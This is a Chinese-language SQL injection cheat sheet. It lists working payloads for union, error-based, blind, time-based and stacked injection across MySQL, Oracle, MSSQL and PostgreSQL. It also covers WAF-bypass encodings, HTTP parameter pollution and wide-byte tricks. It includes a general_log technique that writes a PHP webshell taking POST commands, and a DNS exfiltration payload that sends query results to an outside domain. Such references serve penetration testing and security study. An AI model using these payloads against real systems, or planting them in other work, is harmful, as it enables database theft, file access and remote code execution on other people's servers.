SQL Injection

目錄

sqlmap

資料庫辨別

#1 利用系統特有變數去測試是否觸發 error
#2 用註解辨別

註釋和空白

MySQL Oracle MSSQL
注释符 /*/*!*//**/#/*!${[0-9]{5}} ${command}*/-- --/**/ --/**/、`%0a-
空白字符 %09%0A%0B%0C%0D%20 %00%09%0A%0B%0C%0D%20 %00-%20

config location

  • config file
    • /etc/mysql/my.cnf
  • data dir
    • /var/lib/mysql

基本資料庫端操作

  • 只能在資料庫的 shell 使用
  • 顯示所有資料庫: show databases;
  • 使用資料庫: use $database;
  • 顯示表格: show tables [from $database];
  • 顯示欄位: show columns from [$database.]$table;
  • 顯示使用者權限: show grants [for $user@$host];
  • 顯示全域變數: show global variables;

基本 CRUD

  • 建立資料庫: create database $database;
  • 刪除資料庫: drop database $database;
  • 建立表格: create table $table ($column1 $type, ...) [from $database];
  • 刪除表格: drop table $table [from $database];
  • 新增資料: insert into $table($column1, $column2...) values($value1, $value2...);
  • 讀取資料: select $column1,$column2... from [$database.]$table;
  • 更新資料: update $table [from $database] set $column1=$value1,... [condition];
  • 刪除資料: delete from [$database.]$table [condition];

常用 leak 語句

  • 當前使用者: user();
  • 當前資料庫: database();
  • 所有資料庫: select schema_name from information_schema.schemata;
  • 資料庫版本: version();
  • 資料庫路徑: @@datadir;
  • 資料表: select table_name from information_schema.tables where table_schema=database();
  • 欄位名: select column_name from information_schema.columns where table_schema=$database and table_name=$table

常用過濾&條件

  • where: select name from users where id=1;
  • limit:;select name from users limit $start,$count;
    • limit 作用在同一層 select 上
    • select (select id from users limit 0,1)id,name as ji from users limit 0,3;
  • like:
  • regexp: select name from users where id regexp '^ji..$';
  • if: if(expression, true:,false:);

基本跳脫

  • query: select * from users where id='$id';
    • id=;' or '1'='1; => select * from users where id='' or '1'='1';
  • query: select * from users where id=('$id');
    • id=;') or '1'=('1; => select * from users where id='' or '1'=('1');

leak 流程

  • Null 找欄位數
  • 測型態
  • 庫名
    • select database()
  • 表名
  • 欄位名

schemata、metadata

  • mysql
    • information_schema
      • schemata
        • schema_name
      • tables
        • table_name
        • table_schema
  • oracle
    • ALL_TABLES
      • OWNER
      • TABLE_NAME
    • ALL_TABLE_COLUMNS
      • COLUMN_NAME

Union-based

  • 原理: 透過 union select 夾帶查詢到的資料
  • 條件: 可以注入,顯示查詢資料
  • 必須和前面同 column num
  • 要允許重複值使用 union all select

payload

  • union select user(),version(),database();

Blind Injection

  • 情境: 不直接顯示查詢結果

!Error-based

payload

  • count() floor() group by >=4.1, <5.7.26 : (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
    • 因為 group_by 會做兩次操作去取 key 值,第一次查 key 值是否存在,第二次取 key 值做插入,若是兩次 key 值不一樣則可以讓插入產生錯誤
    • 你的PoC和EXP可能得改改了
  • extractvalue() >= 5.1.5 : extractvalue(1,concat("]",(select user())));
  • name_const() >= 5.1.5: select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
    • 因為 name_const 可以建立含相同的 column name 的 table 導致 select * 取值出錯
  • updatexml() >= 5.1.5: updatexml(1,concat("]",(select user())),1);
  • exp() 版本 > 5.5: exp(~(select * from(select user())a));

Boolean-based

  • 原理: expression 的 true/false 造成回傳內容不同,用來判斷 true/false
  • 條件: 回傳內容有判斷 true/false 的依據
  • 速度慢,善用二分搜

常用函數

  • 假設 version() = '10.3.15-MariaDB-1'
  • if: if(expression, true: a,false: b);
  • like:
  • regexp: version() regexp '^10.3'; = true
  • left: left(version(),3); = '10.3'
  • mid: mid(version(),2,5); = '0.3.1'
  • right: right(version(),5); = 'aDB-1';
  • ascii: ascii('a'); = '97'
  • ord: 同 ascii

Time-based

  • 原理: 藉由 expression 的 true/false 造成不同時間差判斷 true/false
  • 條件: 可使用 sleep, benchmark, 笛卡爾積
  • 參考: https://www.cdxy.me/?p=789
db command
Oracle dbms_pipe.receive_message(('a'),10)
MS WAITFOR DELAY '0:0:10'
PostgreSQL pg_sleep(10)
MySQL sleep(10)

payload

  • sleep() : 1'='1' and (boolean expression) and sleep(1);
  • benchmark() : 1'='1' and (boolean expression) and benchmark(10000000,sha(1));
  • 笛卡爾積 : SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
    • 笛卡爾乘積是指在數學中,兩個集合X和Y的笛卡尓積(Cartesian product),又稱直積,表示為X × Y,第一個物件是X的成員而第二個物件是Y的所有可能有序對的其中一個成員 。
  • get_lock() : select get_lock('karma',1);
    • 條件: mysql_pconnect 查詢
  • rlike : select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
    • 通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

Stacked Injection

  • 原理: 透過;串接複數查詢語句
  • 條件: 使用 mysql_multi_query
  • 可以做 CRUD

payload

  • ; insert into users(id, name) values(7122,'jizz');;

檢測設定&權限

  • 檢測當前權限

    • select @@GLOBAL.secure_file_priv
    • show grants: current user, 查看自身權限時不需要其他權限
    • select * from information_schema.user_privileges: global
      • FILE: 讀寫
  • 所有資料庫設定: select * from information_schema.global_variables[where variable_name=$varName and variable_value=$varValue];

  • 資料庫可不可寫: select @@secure_file_priv;, show variables

    • Null: 不可讀寫
    • 路徑: 限制讀寫位置
    • empty: 沒限制
  • 所有權限欄位名: select column_name from information_schema.columns where table_schema='mysql' and table_name='user';

  • 讀寫權限: select File_priv from mysql.user where concat(user,'@',host)=user();

    • 幾個重要欄位: host, user, password, (select|insert|update|delete|create|drop|file)_priv
      • Y or N

寫檔/write

  • intosecure_file_priv 限制: select ... into outfile $absPath [terminated by ...];
    • dumpfile: no formatting
    • outfile: formatting
    • @var_list: 存到 variable,
  • 可寫位置 @@datadir
  • 從前面column寫入或是terminated by寫入
  • general_log 不受 secure_file_priv 限制
# from kaibro
SET global general_log='on';

SET global general_log_file='/tmp/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
  • slow_query_log 不受 secure_file_priv 限制
SET GLOBAL slow_query_log=1;
SET GLOBAL slow_query_log_file='/tmp/cmd.php';
SELECT '<?php echo 7122;?>' or sleep(11);

讀檔/read

  • load_file() :select 1,2,load_file($absPath);

  • load data infile: select load data infile $absPath .....

思路

  • secure_file_priv 要在可訪問的路徑上才可能訪問shell,否則試著覆寫設定達到 該設定不可變動
  • 資料沒顯示在前台時,寫入 web 目錄再訪問

security options / 安全配置

  • summary: 配置位置、影響範圍等等

secure_file_priv

  • 不可變動
  • 有三個值
    • 空的: 無任何限制
    • /path: 限制 import/export 位置
    • NULL: 無法 import/export

    MariaDB 沒有 NULL 這個配置,所以預設可寫任何位置 ref

ssl_cert

  • 可變動,可能用來 read file 嗎?

!DNSLOG

  • Windows 下 UNC

payload

  • load_file(concat('\\',(select database()),$domain)

WAF Bypass

mysql繞過

  • 刪除型過濾:uniunionon
  • 大小寫:SelEcT
  • 註解 bypass comments: /*!{cmd}*/
  • 拼接:
    • select 'a' 'b' 'c';

mysql替代

  • 空白 <space>

    • %a0 空格
    • %0a 新行
    • %0b 垂直tab
    • %09 水平tab
    • %0c 新頁
    • %0d return
    • %20
    • /**/
      • select/**/*/**/from/**/users;
    • ()
      • and(1=0)
  • 逗號 ,

    • join
      • select * from (select user())a join (select version())b join (select database())c;
    • limit a,b == limit b offset a
    • mid(c, a, b) == mid(c from a for b) == substr(c from a for b) == right(left(c, a+b-1),b)
  • having, where

    • select * from user where name='cjiso';
    • select * from user having name='cjiso';
  • substr < insert

    • select substr('abcde',1,3),insert('abcde',4,2,'');
  • in > =

    • select * from user where 'cjiso'in(username);
    • select * from user where 'cjiso'=username;
  • sleep > if

    • select sleep((1=1*)3);
    • select if(1=1,sleep(3),Null)
  • select

  • 編碼

    • ascii:abcd
    • binary: 0b01100001011000100110001101100100;B'01100001011000100110001101100100';b'01100001011000100110001101100100'
    • hex: 0x61626364;X'61626364';x'61626364'
    • [_charset_name]'string' [COLLATE collation_name]: select _latin1'abcd',_utf8'àbcd',n'àbcd',N'àbcd';

postgresql 繞過

  • string 可以分隔一個空白或是空行

postgresql 替代

!寬字節注入

  • 原理: php 和 sql 編碼不同導致decode時出現歧意
  • 條件: 編碼不同
  • %df 可以吃掉 \,繞過php的轉意(' => \')
  • utf-8 utf-16 utf-32

!HPP

  • HTTP Parameter Pollution

  • 原理: 解析重複參數順序不一致

  • 條件: 存在解析重複參數順序不一致

  • 情境:

    • 雙層架構(Client -> WAF -> Server)中 WAF 和 Server
    • GET 和 POST
  • 參考:

  • Tomcat -> Apache: Tomcat 解析第一個,Apache解析最後一個

    • ?id=1&id=payload
  • 參考表格:

Web服務器 獲取函數 取到的參數
PHP/Apache $_GET("p") Last
JSP/Tomcat Request.getParameter(“p”) First
Perl(CGI)/Apache Param(“p”) First
Python/Apache getvalue("p") All(List)
ASP/IIS Request.QueryString(“p”) All (comma-delimited string)

Refs

注入點

  • 依語句順序,在之前的語句可以接更後面的項目,不贅述

where

  • 除了 CRUD 外無限制

order by

  • 不能接 union
    • select 1 order by 1 union select 2; error
  • blind injection

limit

  • 不能接 union
    • select 1 limit 0,1 union select 2; error
  • into outfile
    • 需有權限
  • procedure
    • error
      • procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
    • time
      • 不能用 sleep
      • PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);

!length vs char_length

Mariadb

  • secure_file_priv 預設會是空值,並且沒有 NULL 可以配置

  • MariaDB-only executable comment syntax (starting from MariaDB 5.3.1): /*M!###### MariaDB-specific code */

Sqlite

Transact SQL

syntax

  • SELECT(1)FROM"sys"."tables": 無空格

function

  • SCHEMA_NAME: schema id to schema name

system table

  • sys.tables
    • name: table name
    • schema_id
    • object_id
  • sys.columns
    • name: column name
    • object_id: object id of the belonged by

Framework CVE

Django

Refs

OOB